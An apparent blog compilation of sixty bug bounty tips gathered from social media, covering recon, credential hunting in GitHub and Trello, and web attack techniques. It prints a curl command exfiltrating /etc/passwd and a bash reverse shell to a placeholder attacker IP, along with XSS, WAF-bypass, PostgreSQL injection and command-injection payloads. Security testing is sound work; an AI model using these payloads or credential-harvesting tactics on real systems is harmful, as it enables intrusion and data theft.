Collection Of Bug Bounty Tip-Will Be updated daily

Whenever i see for bug bounty tips and tricks i wish to make it up a note , The following were the bug bounty tips offered by experts at twitter ,slack,what sapp,discord etc.

Original credits goes to respective authors ,I just collected it and listed here as one stop reference ,For authors please verify #bugbountytip on twitter.

Recon Map :

The following recon map i found on twitter which is very interesting, Use it wise.

Recon map 1

Some Mindmap

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List of tips :

Tips & Tricks :

1)Execute a google dork site:” “ brand will help you find S3 buckets and some LB’s to help find the real ip

2)Try to recon you may find internal documentation which aren’t supposed to be public.

3)If you got ‘Subdomain Takeover’ don’t report it yet, look at the main site/app for gain privileges: like a potential CSP policy bypass (or session hijacking via Set-cookie: *

4)Always bruteforce and *.dev.*

5)Look for port 9200{elastic search) and find juicy stuff,Use using org:”org name”query

6)Found an s3 bucket behind the CDN,Change to https it might reveal up

7)Search for public Trello boards of companies, to find login credentials, API keys, etc. or if you aren’t lucky enough, then you may find companies’ Team Boards sometimes with tasks to fix security vulnerabilities

8)remember that Github is your friend — Check dotfiles of company’s employees — Search for DevOps projects shared (fork) between employees (ansible, Cassandra, Azure,..) => you get Login credential, API key, Private keys — Always follow the manual approach

9)Use and create a custom search for * , It works neat for targets with big scope.

10)Blind RCE — Grabs /etc/passwd and dumps it to your netcat listener via POST `cat /etc/passwd | curl -X POST -d @- http://yourip:yourport/`

11)Blind RCE-turn it in to a reverse shell! |`bash -i >& /dev/tcp/yourip/yourport 0>&1`

12)Sometimex xss payload : <sVg/oNloAd=”JaVaScRiPt:/**\/*\’/”\eval(atob(‘Y29uZmlybShkb2N1bWVudC5kb21haW4pOw==’))”> <iframe src=jaVaScrIpT:eval(atob(‘Y29uZmlybShkb2N1bWVudC5kb21haW4pOw==’))>

13)If the target is using @Cloudflare , dig in their DNS records and search for the origins IP address. If you attack the application directly by his IP’s cloudflare WAF will not be there :)

14)Look for developers of the organisation (Linkedin, , ..) and use their name in github. Look for repositories which are public but shouldn’t be.

15)If you come across a request which has diff action(s), ex — example[dot]com/someendpoint?type=search&query=test, always try different action like `type=users`, `type= accounts`, `type= details`, you might get some good surprises ;)

16)Search for hidden (and visible) input fields and try to set the value via GET… a lot of Webapps still use $_REQUEST… you will be surprised ;) if you have a reflected value -> check of html/script injection ;)

17)Use commoncrawl for finding subdomains and endpoints. Sometimes you find endpoints that can’t directly be visited from the UI but has been indexed from other sites- curl -sX GET “*.$1&output=json …” | jq -r .url | sort -u

18)Uploading file with .url might result in XSS :) Chrome doesn’t support it yet but works like a charm with FOX

19)Sometimes you find those PATHs that forwards to a login page & you can’t see the content inside them. (ex: /path/to/secret → Google login) Take all these PATHs, prepend /public/ to all of them as: /public/path/to/secret , got access to a Jenkins instance.. [1]

20)if server only allows GET and POST method, then try adding “X-HTTP-Method -Override: PUT to achieve RCE via PUT method

21)Found an endpoint which is doing something with images? Give this a shot > request=input&&id , request=input|id , request=input`id` or you can even setup a NC & try request=input&& :port & so on.

22)Want to find some internal code of companies or some sample codes of new features? Checkout with: site: intext:<companydomain>. In companydomain, if you know the internal domain it is even better.

23)if a website does not verify email, try signing up with <whatev> (the company email). Sometimes this gives you higher privilege like deleting/viewing any other user’s profiles etc.

24)If you find a LFI ignore /etc/passwd and go for /var/run/secrets/ this will raise the severity when you hand them a kubernetes token or cert.

25)inside a #container / #pod that has no wget/curl?try busybox…busybox wget -q -O —

26)If you have found server ( ) which redirects you immediately to , always run resources enumeration (dirb, wfuzz etc.) against You can find something “hidden” sometimes

27)See an API Endpoint displaying senstive data?Add a jsonp or callback parameter and try to leak it using XSS

28)It’s possible to bypass #CSP with the following : #JSONP: <script src=”https://trustedsite/jsonp?callback=payload"> #AngularJS <script src=”https://trustedsite/angularjs/1.1.3/angularjs.min.js"> <div ng-app ng-csp id=p ng-click=$event.view.alert(1)>

29)Simple payload for postgresql , easy 2000$ :) 1 AND 1=(select 1 from PG_SLEEP(10)) — ‘ AND 1=(select 1 from PG_SLEEP(10)) OR ‘1’=’

30)Simple payload for postgreesql 1 AND 1=(select 1 from PG_SLEEP(10)) — ‘ AND 1=(select 1 from PG_SLEEP(10)) OR ‘1’=’

31)Xss on s3 buckets alerts on s3 domain, it’s a low priority bug. Better find a reflected xss on main domain and iframe it on s3 xss. You can get an account takeover

32)It’s possible to fire up “#OS #Command #Injection” instead of #XSS in Filename.PDF?parameter=PAYLOAD+|+Dir+c:\

33)Try to change protocol to bypass open redirect protection. -> You might be lucky

34)You can turn an input box into automatic XSS by setting agnostic payload on the “onfocus” attribute and then setting it to “autofocus”. Eg: <input onfocus=”alert(0);” autofocus> This will result in automatic XSS (no user interaction).

35)In case you wanted to test an SSRF but don’t own a vps and burp collaborator is blocked you can use this #bugbounty

36)Change the User-Agent to your blind XSS payload and traverse the site. Like visiting site links, filling some forms etc. Sometimes blind XSS may fired if you are lucky enough

37)When the file protocol handler doesn’t work, sometimes Netdoc can be your friend. Just saying :)

38)Encountered with AWS WAF? Just add “<!” (without quotes) before your payload and bypass that WAF. :) eg: <!<script>alert(1)</script>

39)There’s a good chance to catch #Modified, #Incomplete or even #Broken endpoints in the lower environments such #qa #uat #dev #dr #staging #stage #test #sandbox #www2 Sub-domains.

40)Found tomcat on windows https://x.x.x.x/.//WEB-INF/web.xml -> 200 OK

41)If website has CSRF token or any secret key on response try CORS Misconguration issue. You can steal secret tokens

42)Get a larger scope by using same dork on multiple search engines, eg inurl:”/reports/rwservlet/” to get Oracle reports which are prone to XSS (CVE-2019–2413) produces significantly different results on google and bing.

43)Collect subdomains with regexp BurpPro -> search -> type (\w+)?\.? Regexp: (\w+)?\.? Try and you collect with subdomains very interesting endpoints.

44)In a cloud test if you find a .cspkg file its a gold mine, its a zip file with all the compiled code and config files.

45)A single #RCE payload rule them all , easy 6000$ ;) 1;sleep${IFS}9;#${IFS}’;sleep${IFS}9;#${IFS}”;sleep${IFS}9;#${IFS}

46) Dont just look at newer versions of apps. Sometimes you can derive API keys from the older apps that still work!

47) And analyze apps in both way (Statically and Dynamically) to increase a bugs triggering chances.

48)Cloudflare Bypass: <a href=”j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;\u0061\u006C\u0065\u0072\u0074&lpar;this[‘document’][‘cookie’]&rpar;”>X</a>

49)If you get a shell on a machine with ~/.aws/credentials further esculate to the actual bucket or ec2 instances. Commands: aws s3 ls s3://XXX/directory/ — profile username and aws ec2 describe-instances — profile username.

50)nmap — script “http-*” IP/target — Will run 30+ scripts related to http. Everything from sqli injection to config backups checkout more at the docs

51)Always do directory Brute forcing on all sub-domain even on 403 page. Sometimes you will get .git file and you can download whole web application source code.

52)Deserializing is really effective. Never take for granted the lack of industry standards implemented into hashes and other encrypted strings uses by web applications.

53)Got a SSRF? no metadata endpoints to hit? Try https://kubernetes.default.svc/metrics if you get a load crap come back jackpot you’ve hit the kubernetes API and this should indicate it’s shit the bed time for any security team. (url can change).

54)Here is my obfuscated payload. It bypasses lots of WAF, including CloudFlare iirc. <iframe src=”%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(0)”> iFrame with javascript URI payload. Line feeds [CRLF] obfuscate it.

55)Found a company running an open source system and cannot find a CVE for it? Download and setup the open source system yourself and see where you mess up. Best chances are you will find some common easy-to-miss misconfig that the admin made

56)When injecting into src attributes, you need a javascript URI payload! Here is a good payload I created using a load of linefeeds to bypass WAF: %0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(0) Work with link + iframe.

57)Many sites log in with the user after they reset the password through some token, in some cases you can bypass 2FA only by resetting your password, if you are lucky, after that your account will be logged in without needing to confirm anything else.

58)Payload will run in a lot of contexts. javascript:”/*’/*`/* →<html \” onmouseover=/*&lt;svg/*/onload=alert()//> Short but lethal. No script tags, thus bypassing a lot of WAF and executes in multiple environments.

59)Always look for any parameters reflecting in the javascript functions like in a variable. If there is no url encoding of characters like ; ) } you can close that function to insert your malicious javascript Ex. ;)}alert(1)/

60)via burpsuite search to find some open redirect , search “=http” or “=aHR0”(base64 encode http) from “Request header” and status code 30X you also can use this tip to find some SSRF

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